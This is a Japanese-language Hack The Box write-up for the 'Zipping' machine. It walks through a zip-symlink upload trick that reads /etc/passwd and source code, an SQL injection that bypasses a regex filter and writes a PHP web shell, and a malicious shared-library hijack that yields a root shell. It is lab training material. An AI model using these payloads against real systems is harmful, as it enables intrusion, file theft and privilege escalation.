HTB: Zipping Writeup

## ポートスキャン
```sh$ sudo rustscan -a $trg --ulimit 5000 -- -sSVC

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP6mSkoF2+wARZhzEmi4RDFkpQx3gdzfggbgeI5qtcIseo7h1mcxH8UCPmw8Gx9+JsOjcNPBpHtp2deNZBzgKcA=
|   256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXXd7dM7wgVC+lrF0+ZIxKZlKdFhG2Caa9Uft/kLXDa
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.54 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## 80番ポート
### ファジング
```sh
$ ffuf -u http://$trg/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80

                        [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 210ms]
uploads                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 206ms]
index.php               [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 4895ms]
.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4905ms]
shop                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 213ms]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 210ms]
upload.php              [Status: 200, Size: 5322, Words: 1882, Lines: 114, Duration: 208ms]

$ ffuf -u http://$trg/shop/FUZZ -e .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -ic -t 80

.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 219ms]
products.php            [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 233ms]
                        [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 254ms]
index.php               [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 240ms]
product.php             [Status: 200, Size: 15, Words: 3, Lines: 1, Duration: 216ms]
assets                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 210ms]
cart.php                [Status: 500, Size: 1, Words: 1, Lines: 2, Duration: 210ms]
home.php                [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 3707ms]
```
### /upload.php
test.zipを用意し、アップロードするとThe unzipped file must have a .pdf extension.とのこと
```sh
$ echo test > test.txt                    
$ zip test.zip test.txt 
  adding: test.txt (stored 0%)
  ```
拡張子をpdfにしたファイルを含むpdf.zipを用意し、アップロードするとunzipされ、/uploadsに展開された
```sh
$ file test.pdf              
test.pdf: ASCII text
```
PayloadsAllTheThingsで調べたところ、CVE ZIP Symbolic Linkを発見
zip --symlinksでシンボリックリンクを維持してzipすることが出来る
```sh
$ ln -s /etc/passwd evil.pdf
$ zip --symlinks evil.zip evil.pdf
  adding: evil.pdf (stored 0%)

$ curl http://10.10.11.229/uploads/e6e29733cfa9cfefcb6593cfc0bdcc39/evil.pdf 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
```
/etc/apache2/sites-enabled/000-default.confを読み取りwebrootを確認し、判明しているphpファイルを見ていく
```php:/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
```
```php:functions.php
<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');
    }
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
```
```php:product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>
```
## SQLi
product.phpでpreg_matchによるidのチェックを回避できればSQLiが行えそう
preg_matchは、改行(%0A)を追加することで回避できる

存在しないであろうid100を含む、0-9で終わる文字列
```
id=%0A+100%27+--%20-0
```
を試したところ、homeにリダイレクトせずにProduct does not exist!となったため、インジェクションが成功していると思われる
### unionベース
#### unionベースに移行する為に、列の数を特定
複数のソースを見ると最低でも7個は列が存在する
```
id=%0A+100%27+union+select+null,null,null,null,null,null,null,null+--%20-0
```
で応答があったので列は8
#### 現在の接続ユーザーであるrootの権限を確認
```
id=%0A+100%27+union+select+null,null,null,null,null,null,group_concat(grantee,':',privilege_type),null+from+information_schema.user_privileges;+--%20-0
```
FILE権限があるため、書き込み可能なディレクトリ(/dev/shmや/var/lib/mysql)にwebシェルを書き込む
```
id=%0A+100%27+union+select+null,null,null,null,null,null,"<?php+system($_REQUEST['cmd']);+?>",null+into+outfile+"/var/lib/mysql/shell.php";+--%20-0
```
そこからリバースシェルを獲得

## 権限昇格
sudoを確認
```sh
$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock
```
stringsしたところ気になる表示
```sh
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password: 
Invalid password, please try again.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 
You do not have permissions to read the file
File could not be opened.
================== Stock Actual ==================
Colour     Black   Gold    Silver
Amount     %-7d %-7d %-7d
Quality   Excelent Average Poor
Amount    %-9d %-7d %-4d
Exclusive Yes    No
Amount    %-4d   %-4d
Warranty  Yes    No
================== Edit Stock ==================
Enter the information of the watch you wish to update:
Colour (0: black, 1: gold, 2: silver): 
Quality (0: excelent, 1: average, 2: poor): 
Exclusivity (0: yes, 1: no): 
Warranty (0: yes, 1: no): 
Amount: 
Error: The information entered is incorrect
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
The stock has been updated correctly.
```
パスワードでした
```sh
$ sudo /usr/bin/stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 
```
バイナリをstraceし読み込んでいるsoと特定
```sh
$ strace ./stock         

openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so\300", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
```
悪意あるlibcounterをコンパイルし、読み込まれるディレクトリに置く
```sh
#include <stdlib.h>
__attribute__ ((__constructor__))
void evil(void){
    system("/bin/bash");
}

$ gcc libcounter.c -fPIC -shared -o ./libcounter.so
```
sudoで実行し、パスワードを入力すると、悪意あるsoが読み込まれ、evilが実行されてrootシェル獲得